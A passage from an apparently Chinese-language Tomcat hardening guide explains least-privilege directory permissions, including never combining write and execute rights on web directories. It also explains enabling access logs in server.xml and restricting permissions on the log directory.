如果不为tomcat账户分配权限,Tomcat服务将无法启动,然后需要以最小权限原则为Tomcat日志目录和WEB目录单独分配权限,日志目录只需要分配“读取”和“写入”权限即可。
网站上传目录和数据库目录一般需要分配“写入”权限,但一定不要分配执行权限,其他目录一般只分配“读取”权限即可;
注:WEB目录权限分配可依据以下原则:有写入权限,一定不要分配执行权限;有执行权限,一定不要分配写入权限。
WeiyiGeek.


5.Tomcat日志安全配置
在Tomcat上也是如此,它的日志默认保存在Tomcat安装目录的logs目录下,要注意的是Tomcat默认并没有开启访问日志,所以我们需要手工开启它。
打开server.xml
WeiyiGeek.

然后修改日志的默认保存路径,并设置只允许系统管理员有日志保存目录的完全控制权限,tomcat账户有“读取”和“写入”权限即可,所示
WeiyiGeek.